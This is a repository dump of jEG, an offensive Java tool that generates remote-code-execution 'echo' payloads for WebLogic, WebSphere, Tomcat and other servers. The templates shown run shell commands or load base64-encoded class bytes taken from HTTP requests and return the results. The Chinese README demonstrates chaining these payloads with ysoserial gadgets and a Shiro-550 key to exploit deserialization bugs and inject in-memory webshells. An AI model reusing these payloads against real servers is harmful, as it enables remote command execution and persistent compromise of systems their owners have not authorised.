declaredField.setAccessible(true); 95 | return declaredField.get(o); 96 | } 97 | 98 | 99 | private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 100 | Method method = null; 101 | Class clazz = obj.getClass(); 102 | while (clazz != Object.class) { 103 | try { 104 | method = clazz.getDeclaredMethod(methodName, paramClazz); 105 | break; 106 | } catch (NoSuchMethodException e) { 107 | clazz = clazz.getSuperclass(); 108 | } 109 | } 110 | 111 | if (method == null) { 112 | throw new NoSuchMethodException(methodName); 113 | } 114 | method.setAccessible(true); 115 | return method.invoke(obj, param); 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.weblogic; 2 | 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.InvocationTargetException; 6 | import java.lang.reflect.Method; 7 | 8 | 9 | public class WebLogicCodeExecTpl { 10 | static { 11 | new WebLogicCodeExecTpl(); 12 | } 13 | 14 | private String getReqParamName() { 15 | return "code"; 16 | } 17 | 18 | public WebLogicCodeExecTpl() { 19 | run(); 20 | } 21 | 22 | private void run() { 23 | String code = null; 24 | Thread thread = Thread.currentThread(); 25 | Object target = null; 26 | PrintWriter writer = null; 27 | try { 28 | target = invokeMethod(thread, "getCurrentWork", new Class[0], new Object[0]); 29 | code = (String) invokeMethod(target, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); 30 | Object response = invokeMethod(target, "getResponse", new Class[0], new Object[0]); 31 | writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); 32 | } catch (Exception e) { 33 | try { 34 | Object connectionHandler = getFV(target, "connectionHandler"); 35 | Object request = invokeMethod(connectionHandler, "getServletRequest", new Class[0], new Object[0]); 36 | if (code == null) { 37 | code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); 38 | } 39 | Object response = invokeMethod(connectionHandler, "getServletResponse", new Class[0], new Object[0]); 40 | writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); 41 | } catch (Exception ignored) { 42 | } 43 | } 44 | // define class 45 | String execRes = exec(code); 46 | // 回显执行结果 47 | writer.write(execRes); 48 | writer.flush(); 49 | writer.close(); 50 | } 51 | 52 | private String exec(String var2) { 53 | try { 54 | byte[] clazzByte = base64Decode(var2); 55 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 56 | defineClass.setAccessible(true); 57 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 58 | return clazz.newInstance().toString(); 59 | } catch (Exception e) { 60 | return e.getMessage(); 61 | } 62 | } 63 | 64 | private byte[] base64Decode(String str) throws Exception { 65 | try { 66 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 67 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 68 | } catch (Exception var4) { 69 | Class clazz = Class.forName("java.util.Base64"); 70 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 71 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 72 | } 73 | } 74 | 75 | private synchronized Object getFV(final Object o, final String s) throws Exception { 76 | Field declaredField = null; 77 | Class clazz = o.getClass(); 78 | while (clazz != Object.class) { 79 | try { 80 | declaredField = clazz.getDeclaredField(s); 81 | break; 82 | } catch (NoSuchFieldException ex) { 83 | clazz = clazz.getSuperclass(); 84 | } 85 | } 86 | if (declaredField == null) { 87 | throw new NoSuchFieldException(s); 88 | } 89 | declaredField.setAccessible(true); 90 | return declaredField.get(o); 91 | } 92 | 93 | 94 | private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { 95 | Method method = null; 96 | Class clazz = obj.getClass(); 97 | while (clazz != Object.class) { 98 | try { 99 | method = clazz.getDeclaredMethod(methodName, paramClazz); 100 | break; 101 | } catch (NoSuchMethodException e) { 102 | clazz = clazz.getSuperclass(); 103 | } 104 | } 105 | 106 | if (method == null) { 107 | throw new NoSuchMethodException(methodName); 108 | } 109 | method.setAccessible(true); 110 | return method.invoke(obj, param); 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCmdExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.websphere; 2 | 3 | import jeg.core.template.weblogic.WebLogicCodeExecTpl; 4 | 5 | import java.io.InputStream; 6 | import java.util.Scanner; 7 | 8 | public class WebSphereCmdExecTpl { 9 | 10 | static { 11 | new WebSphereCmdExecTpl(); 12 | } 13 | 14 | 15 | private String getReqHeaderName() { 16 | return "cmd"; 17 | } 18 | 19 | public WebSphereCmdExecTpl() { 20 | run(); 21 | } 22 | 23 | 24 | private void run() { 25 | try { 26 | Class clazz = Thread.currentThread().getClass(); 27 | java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); 28 | field.setAccessible(true); 29 | Object obj = field.get(Thread.currentThread()); 30 | Object[] obj_arr = (Object[]) obj; 31 | for (int i = 0; i < obj_arr.length; i++) { 32 | Object o = obj_arr[i]; 33 | if (o == null) continue; 34 | if (o.getClass().getName().endsWith("WebContainerRequestState")) { 35 | Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); 36 | Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); 37 | String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{getReqHeaderName()}); 38 | if (cmd != null && !cmd.isEmpty()) { 39 | String execRes = exec(cmd); 40 | java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); 41 | printWriter.println(execRes); 42 | } 43 | break; 44 | } 45 | } 46 | } catch (Exception e) { 47 | } 48 | } 49 | 50 | private String exec(String cmd) { 51 | try { 52 | boolean isLinux = true; 53 | String osType = System.getProperty("os.name"); 54 | if (osType != null && osType.toLowerCase().contains("win")) { 55 | isLinux = false; 56 | } 57 | 58 | String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 59 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 60 | Scanner s = new Scanner(in).useDelimiter("\\a"); 61 | String execRes = ""; 62 | while (s.hasNext()) { 63 | execRes += s.next(); 64 | } 65 | return execRes; 66 | } catch (Exception e) { 67 | return e.getMessage(); 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCodeExecTpl.java: -------------------------------------------------------------------------------- 1 | package jeg.core.template.websphere; 2 | 3 | import java.lang.reflect.Field; 4 | import java.lang.reflect.Method; 5 | 6 | /** 7 | * 执行代码回显(classBytes) 8 | */ 9 | public class WebSphereCodeExecTpl { 10 | 11 | static { 12 | new WebSphereCodeExecTpl(); 13 | } 14 | 15 | public WebSphereCodeExecTpl() { 16 | run(); 17 | } 18 | 19 | // 传参:类字节码 20 | private String getReqParamName() { 21 | return "code"; 22 | } 23 | 24 | 25 | private void run() { 26 | try { 27 | Class clazz = Thread.currentThread().getClass(); 28 | Field field = clazz.getDeclaredField("wsThreadLocals"); 29 | field.setAccessible(true); 30 | Object obj = field.get(Thread.currentThread()); 31 | Object[] obj_arr = (Object[]) obj; 32 | for (int i = 0; i < obj_arr.length; i++) { 33 | Object o = obj_arr[i]; 34 | if (o == null) continue; 35 | if (o.getClass().getName().endsWith("WebContainerRequestState")) { 36 | Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); 37 | Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); 38 | String code = (String) req.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(req, new Object[]{getReqParamName()}); 39 | if (code != null && !code.isEmpty()) { 40 | String execRes = exec(code); 41 | java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); 42 | printWriter.println(execRes); 43 | } 44 | break; 45 | } 46 | } 47 | } catch (Exception e) { 48 | } 49 | } 50 | 51 | private String exec(String var2) { 52 | try { 53 | byte[] clazzByte = base64Decode(var2); 54 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 55 | defineClass.setAccessible(true); 56 | Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); 57 | return clazz.newInstance().toString(); 58 | } catch (Exception e) { 59 | return e.getMessage(); 60 | } 61 | } 62 | 63 | private byte[] base64Decode(String str) throws Exception { 64 | try { 65 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 66 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 67 | } catch (Exception var4) { 68 | Class clazz = Class.forName("java.util.Base64"); 69 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 70 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /jeg-core/src/main/java/jeg/core/util/TemplateUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.core.util; 2 | 3 | import jeg.core.config.jEGConstants; 4 | import jeg.core.template.all.DFSCmdExecTpl; 5 | import jeg.core.template.all.DFSCodeExecTpl; 6 | import jeg.core.template.bes.BESCmdExecTpl; 7 | import jeg.core.template.bes.BESCodeExecTpl; 8 | import jeg.core.template.inforsuite.InforSuiteCmdExecTpl; 9 | import jeg.core.template.inforsuite.InforSuiteCodeExecTpl; 10 | import jeg.core.template.jetty.JettyCmdExecTpl; 11 | import jeg.core.template.jetty.JettyCodeExecTpl; 12 | import jeg.core.template.resin.ResinCmdExecTpl; 13 | import jeg.core.template.resin.ResinCodeExecTpl; 14 | import jeg.core.template.springmvc.SpringMVCCmdExecTpl; 15 | import jeg.core.template.springmvc.SpringMVCCodeExecTpl; 16 | import jeg.core.template.struts2.Struts2CmdExecTpl; 17 | import jeg.core.template.struts2.Struts2CodeExecTpl; 18 | import jeg.core.template.tomcat.TomcatCmdExecTpl; 19 | import jeg.core.template.tomcat.TomcatCodeExecTpl; 20 | import jeg.core.template.tongweb.TongWebCmdExecTpl; 21 | import jeg.core.template.tongweb.TongWebCodeExecTpl; 22 | import jeg.core.template.undertow.UndertowCmdExecTpl; 23 | import jeg.core.template.undertow.UndertowCodeExecTpl; 24 | import jeg.core.template.weblogic.WebLogicCmdExecTpl; 25 | import jeg.core.template.weblogic.WebLogicCodeExecTpl; 26 | import jeg.core.template.websphere.WebSphereCmdExecTpl; 27 | import jeg.core.template.websphere.WebSphereCodeExecTpl; 28 | 29 | import java.util.HashMap; 30 | import java.util.Map; 31 | 32 | public class TemplateUtil { 33 | private static final Map> classMap = new HashMap(); 34 | 35 | public static String getEchoTplClassName(String serverType, String modleType) { 36 | Map tplMap = (Map) classMap.get(serverType); 37 | return tplMap == null ? "" : tplMap.getOrDefault(modleType, ""); 38 | } 39 | 40 | static { 41 | 42 | // 1、jetty 43 | Map jettyMap = new HashMap(); 44 | jettyMap.put(jEGConstants.MODEL_CMD, JettyCmdExecTpl.class.getName()); 45 | jettyMap.put(jEGConstants.MODEL_CODE, JettyCodeExecTpl.class.getName()); 46 | classMap.put(jEGConstants.SERVER_JETTY, jettyMap); 47 | 48 | // 2、resin 49 | Map resinMap = new HashMap(); 50 | resinMap.put(jEGConstants.MODEL_CMD, ResinCmdExecTpl.class.getName()); 51 | resinMap.put(jEGConstants.MODEL_CODE, ResinCodeExecTpl.class.getName()); 52 | classMap.put(jEGConstants.SERVER_RESIN, resinMap); 53 | 54 | 55 | // 3、spring 56 | Map springmvcMap = new HashMap(); 57 | springmvcMap.put(jEGConstants.MODEL_CMD, SpringMVCCmdExecTpl.class.getName()); 58 | springmvcMap.put(jEGConstants.MODEL_CODE, SpringMVCCodeExecTpl.class.getName()); 59 | classMap.put(jEGConstants.SERVER_SPRING_MVC, springmvcMap); 60 | 61 | // 4、struts2 62 | Map struts2Map = new HashMap(); 63 | struts2Map.put(jEGConstants.MODEL_CMD, Struts2CmdExecTpl.class.getName()); 64 | struts2Map.put(jEGConstants.MODEL_CODE, Struts2CodeExecTpl.class.getName()); 65 | classMap.put(jEGConstants.SERVER_STRUTS2, struts2Map); 66 | 67 | // 5、tomcat 68 | Map tomcatMap = new HashMap(); 69 | tomcatMap.put(jEGConstants.MODEL_CMD, TomcatCmdExecTpl.class.getName()); 70 | tomcatMap.put(jEGConstants.MODEL_CODE, TomcatCodeExecTpl.class.getName()); 71 | classMap.put(jEGConstants.SERVER_TOMCAT, tomcatMap); 72 | 73 | 74 | // 6、weblogic 75 | Map weblogicMap = new HashMap(); 76 | weblogicMap.put(jEGConstants.MODEL_CMD, WebLogicCmdExecTpl.class.getName()); 77 | weblogicMap.put(jEGConstants.MODEL_CODE, WebLogicCodeExecTpl.class.getName()); 78 | classMap.put(jEGConstants.SERVER_WEBLOGIC, weblogicMap); 79 | 80 | // 7、websphere 81 | Map websphereMap = new HashMap(); 82 | websphereMap.put(jEGConstants.MODEL_CMD, WebSphereCmdExecTpl.class.getName()); 83 | websphereMap.put(jEGConstants.MODEL_CODE, WebSphereCodeExecTpl.class.getName()); 84 | classMap.put(jEGConstants.SERVER_WEBSPHERE, websphereMap); 85 | 86 | // 8、undertow 87 | Map undertowMap = new HashMap(); 88 | undertowMap.put(jEGConstants.MODEL_CMD, UndertowCmdExecTpl.class.getName()); 89 | undertowMap.put(jEGConstants.MODEL_CODE, UndertowCodeExecTpl.class.getName()); 90 | classMap.put(jEGConstants.SERVER_UNDERTOW, undertowMap); 91 | 92 | // 9、Unknown 93 | Map unknownMap = new HashMap(); 94 | unknownMap.put(jEGConstants.MODEL_CMD, DFSCmdExecTpl.class.getName()); 95 | unknownMap.put(jEGConstants.MODEL_CODE, DFSCodeExecTpl.class.getName()); 96 | classMap.put(jEGConstants.SERVER_UNKNOWN, unknownMap); 97 | 98 | // 10、BES 99 | Map besMap = new HashMap(); 100 | besMap.put(jEGConstants.MODEL_CMD, BESCmdExecTpl.class.getName()); 101 | besMap.put(jEGConstants.MODEL_CODE, BESCodeExecTpl.class.getName()); 102 | classMap.put(jEGConstants.SERVER_BES, besMap); 103 | 104 | // 11、InforSuite 105 | Map inforsuiteMap = new HashMap(); 106 | inforsuiteMap.put(jEGConstants.MODEL_CMD, InforSuiteCmdExecTpl.class.getName()); 107 | inforsuiteMap.put(jEGConstants.MODEL_CODE, InforSuiteCodeExecTpl.class.getName()); 108 | classMap.put(jEGConstants.SERVER_INFORSUITE, inforsuiteMap); 109 | 110 | // 12、BES 111 | Map tongwebMap = new HashMap(); 112 | tongwebMap.put(jEGConstants.MODEL_CMD, TongWebCmdExecTpl.class.getName()); 113 | tongwebMap.put(jEGConstants.MODEL_CODE, TongWebCodeExecTpl.class.getName()); 114 | classMap.put(jEGConstants.SERVER_TONGWEB, tongwebMap); 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /jeg-core/src/test/java/GeneratorTest.java: -------------------------------------------------------------------------------- 1 | import jeg.common.util.ClassUtil; 2 | import jeg.core.config.jEGConstants; 3 | import jeg.core.jEGenerator; 4 | import jeg.core.config.jEGConfig; 5 | 6 | public class GeneratorTest { 7 | public static void main(String[] args) throws Throwable { 8 | // 基本配置 9 | jEGConfig config = new jEGConfig() {{ 10 | // 设置待回显的中间件为 tomcat 11 | setServerType(jEGConstants.SERVER_TOMCAT); 12 | // 设置待执行的 payload 为命令执行回显 13 | setModelType(jEGConstants.MODEL_CMD); 14 | // 设置 payload 的输出格式为 BASE64 15 | setFormatType(jEGConstants.FORMAT_CLASS); 16 | // 初始化基础配置 17 | build(); 18 | }}; 19 | config.setLoaderClassName(ClassUtil.getRandomLoaderClassName()); 20 | // 生成 payload 21 | jEGenerator generator = new jEGenerator(config); 22 | System.out.println("请求头: " + config.getReqHeaderName()); 23 | String payload = generator.getPayload(); 24 | System.out.println(payload.length()); 25 | System.out.println(payload); 26 | 27 | } 28 | } -------------------------------------------------------------------------------- /jeg-docs/1.0.0/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: jEG v1.0.0 - 高度自定义的 Java 回显生成工具 3 | author: pen4uin 4 | date: 2023-09-28 5 | --- 6 | 7 | 8 | # jEG v1.0.0 - 高度自定义的 Java 回显生成工具 9 | 10 | ## 0x01 简介 11 | 12 | **jEG (Java Echo Generator)** 是一款支持高度自定义的 Java 回显载荷生成工具。 13 | 14 | 功能介绍 15 | - 支持的中间件和框架 16 | - Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow 17 | - SpringMVC/Struts2 18 | - 支持的执行模式 (Command/Code) 19 | - 支持的输出格式 (BASE64/BCEL/BIGINTEGER/CLASS/JAR/JS) 20 | 21 | 执行模式 22 | - 命令执行回显 23 | - 代码执行回显(toString) 24 | 25 | 工作模式 26 | - 作为 独立的 GUI 工具 27 | - 作为 woodpecker 的插件 28 | - 作为 第三方库 29 | 30 | 下载地址 31 | 32 | - https://github.com/pen4uin/java-echo-generator 33 | 34 | ## 0x02 工具演示 35 | 36 | ### 两种执行模式 37 | 38 | **命令执行** 39 | 40 | 0、测试环境说明 41 | 42 | - Tomcat v8.5.91 43 | - JDK 8 44 | - 原生反序列化漏洞 45 | - CommonsBeanutils2 46 | 47 | 48 | 1、生成对应命令执行回显的 payload,继承 AbstractTranslet 49 | 50 | ![](./img/1708843903204.png) 51 | 52 | 2、使用 yso 进行序列化利用封装 53 | 54 | ```shell 55 | java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils2 -a "class_file:/Users/NotFound/Temp/SessionDataUtil.class" | base64 56 | ``` 57 | 58 | 3、通过请求头 Cache-Control-Ymirvesoc 传入需要执行的命令,如图,命令成功执行并回显 59 | 60 | ![](./img/1708843933258.png) 61 | 62 | **代码执行** 63 | 64 | 0、测试环境说明 65 | 66 | - SpringBoot 2.2.6.RELEASE 67 | - JDK 8 68 | - Shiro 550 69 | - CommonsBeanutils2_183 70 | 71 | 1、生成对应代码执行回显的 payload,继承 AbstractTranslet 72 | 73 | ![](./img/1708843968446.png) 74 | 75 | 2、使用 shiro 漏洞利用插件对 payload 进行加密处理 76 | 77 | ``` 78 | yso_gadget=CommonsBeanutils2_183 79 | yso_cmd=class_file:/Users/NotFound/Temp/CSVUtil.class 80 | shiro_key=kPH+bIxk5D2deZiIxcaaaA== 81 | aes_model=CBC 82 | ``` 83 | 84 | 3、准备需要执行的代码,这里以shiro常见的漏洞利用场景作为演示 - 注入内存马,使用 jMG 生成BASE64格式的内存马注入器 85 | 86 | ![](./img/1708843998491.png) 87 | 88 | 4、通过请求参数 Dsyoi 传入需要执行的字节码,如图,代码成功执行并回显 89 | 90 | ![](./img/1708844009402.png) 91 | 92 | 5、内存马注入成功 93 | 94 | ![](./img/1708844020638.png) 95 | 96 | ### 三种工作模式 97 | 98 | **图形化** 99 | 100 | 1、下载 jEG-gui-1.0.0.jar 运行即可 101 | 102 | 103 | ![](./img/1708844053138.png) 104 | 105 | **Woodpecker 插件** 106 | 107 | 1、下载 jEG-woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可 108 | 109 | ![](./img/1708844074999.png) 110 | 111 | **第三方库** 112 | 113 | 1、下载 jEG-core-1.0.0.jar 并安装到本地 maven 仓库 114 | 115 | ```shell 116 | mvn install:install-file -Dfile=jEG-core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar 117 | ``` 118 | 119 | 2、引入自己的框架/工具的依赖中 120 | 121 | ```xml 122 | 123 | jeg 124 | jeg-core 125 | 1.0.0 126 | 127 | ``` 128 | 129 | 3、调用 API 生成需要的回显载荷即可 130 | 131 | 132 | ## 0x03 小结 133 | 134 | 从 jMG 到 jEG,Java 漏洞利用的造“轮子”之旅也算可以告一段落了。 135 | 136 | 最后祝大家节日快乐! 137 | 138 | 139 | 140 |
141 | 参考 142 | 143 | - https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/ 144 | - https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327 145 | - https://github.com/feihong-cs/Java-Rce-Echo 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708843903204.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708843903204.png -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708843933258.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708843933258.png -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708843968446.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708843968446.png -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708843998491.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708843998491.png -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708844009402.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708844009402.png -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708844020638.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708844020638.png -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708844053138.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708844053138.png -------------------------------------------------------------------------------- /jeg-docs/1.0.0/img/1708844074999.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/1.0.0/img/1708844074999.png -------------------------------------------------------------------------------- /jeg-docs/README_EN.md: -------------------------------------------------------------------------------- 1 | todo -------------------------------------------------------------------------------- /jeg-docs/img/gui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/img/gui.png -------------------------------------------------------------------------------- /jeg-docs/img/woodpecker-plugin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-echo-generator/d29d9950b3c76f248424e875296879f1e0f62abf/jeg-docs/img/woodpecker-plugin.png -------------------------------------------------------------------------------- /jeg-gui/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jeg 6 | java-echo-generator 7 | ${reversion} 8 | 9 | jEG-gui 10 | 11 | 12 | com.intellij 13 | forms_rt 14 | 7.0.3 15 | 16 | 17 | com.formdev 18 | flatlaf 19 | 3.1 20 | 21 | 22 | jeg 23 | jEG-core 24 | ${reversion} 25 | 26 | 27 | 28 | ${artifactId}-${reversion} 29 | 30 | 31 | org.apache.maven.plugins 32 | maven-assembly-plugin 33 | 3.6.0 34 | 35 | 36 | jar-with-dependencies 37 | 38 | 39 | 40 | jeg.gui.jEGApp 41 | 42 | 43 | 44 | 45 | 46 | make-assembly 47 | package 48 | 49 | single 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /jeg-gui/src/main/java/jeg/gui/form/jEGForm.form: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 |
261 | -------------------------------------------------------------------------------- /jeg-gui/src/main/java/jeg/gui/jEGApp.java: -------------------------------------------------------------------------------- 1 | package jeg.gui; 2 | 3 | import com.formdev.flatlaf.FlatLightLaf; 4 | import jeg.gui.form.jEGForm; 5 | 6 | import javax.swing.*; 7 | 8 | public class jEGApp { 9 | public static void main(String[] args) { 10 | FlatLightLaf.setup(); 11 | SwingUtilities.invokeLater(jEGApp::createAndShowGUI); 12 | } 13 | 14 | private static void createAndShowGUI() { 15 | jEGForm.start(); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /jeg-gui/src/main/java/jeg/gui/util/ComponentUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.gui.util; 2 | 3 | import javax.swing.*; 4 | import javax.swing.event.DocumentEvent; 5 | import javax.swing.event.DocumentListener; 6 | import javax.swing.text.JTextComponent; 7 | import javax.swing.text.SimpleAttributeSet; 8 | import javax.swing.text.StyleConstants; 9 | import java.awt.*; 10 | import java.awt.event.ItemEvent; 11 | import java.awt.event.ItemListener; 12 | import java.util.function.Consumer; 13 | 14 | public class ComponentUtil { 15 | public static DocumentListener createDocumentListener(JTextComponent textField, Consumer updateFunction) { 16 | return new DocumentListener() { 17 | @Override 18 | public void insertUpdate(DocumentEvent e) { 19 | updateText(); 20 | } 21 | 22 | @Override 23 | public void removeUpdate(DocumentEvent e) { 24 | updateText(); 25 | } 26 | 27 | @Override 28 | public void changedUpdate(DocumentEvent e) { 29 | // 文本改变时触发(对于普通文本字段可以忽略) 30 | } 31 | 32 | private void updateText() { 33 | String text = textField.getText(); 34 | if (text.isEmpty()) { 35 | updateFunction.accept(null); 36 | } else { 37 | updateFunction.accept(text); 38 | } 39 | } 40 | }; 41 | } 42 | 43 | 44 | /** 45 | * 恢复滚动条位置 46 | * @param scrollPane 47 | */ 48 | public static void restoreScrollPosition(JScrollPane scrollPane) { 49 | try { 50 | // windows 下窗口闪动 51 | scrollPane.setDoubleBuffered(true); 52 | int scrollValue = scrollPane.getVerticalScrollBar().getValue(); 53 | SwingUtilities.invokeLater(() -> { 54 | scrollPane.getVerticalScrollBar().setValue(scrollValue); 55 | }); 56 | } catch (Exception ignored) { 57 | } catch (Throwable e) { 58 | throw new RuntimeException(e); 59 | } 60 | } 61 | 62 | 63 | public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) { 64 | SimpleAttributeSet attributeSet = new SimpleAttributeSet(); 65 | StyleConstants.setBold(attributeSet, true); 66 | StyleConstants.setItalic(attributeSet, false); 67 | StyleConstants.setForeground(attributeSet, foregroundColor); 68 | return attributeSet; 69 | } 70 | 71 | 72 | } 73 | -------------------------------------------------------------------------------- /jeg-gui/src/main/java/jeg/gui/util/TextPaneUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.gui.util; 2 | 3 | 4 | import javax.swing.*; 5 | import javax.swing.text.*; 6 | import java.awt.*; 7 | 8 | /** 9 | * 控制文本颜色,提升用户体验 10 | */ 11 | public class TextPaneUtil { 12 | private static JTextPane textPane; 13 | private static final Font font; 14 | private static final SimpleAttributeSet ERROR_ATT; 15 | private static final SimpleAttributeSet SUCCESS_ATT; 16 | private static final SimpleAttributeSet RAW_ATT; 17 | private static final SimpleAttributeSet START_ATT; 18 | 19 | 20 | static { 21 | font = new Font("Lucida Grande", Font.PLAIN, 13); 22 | ERROR_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255, 0, 0)); 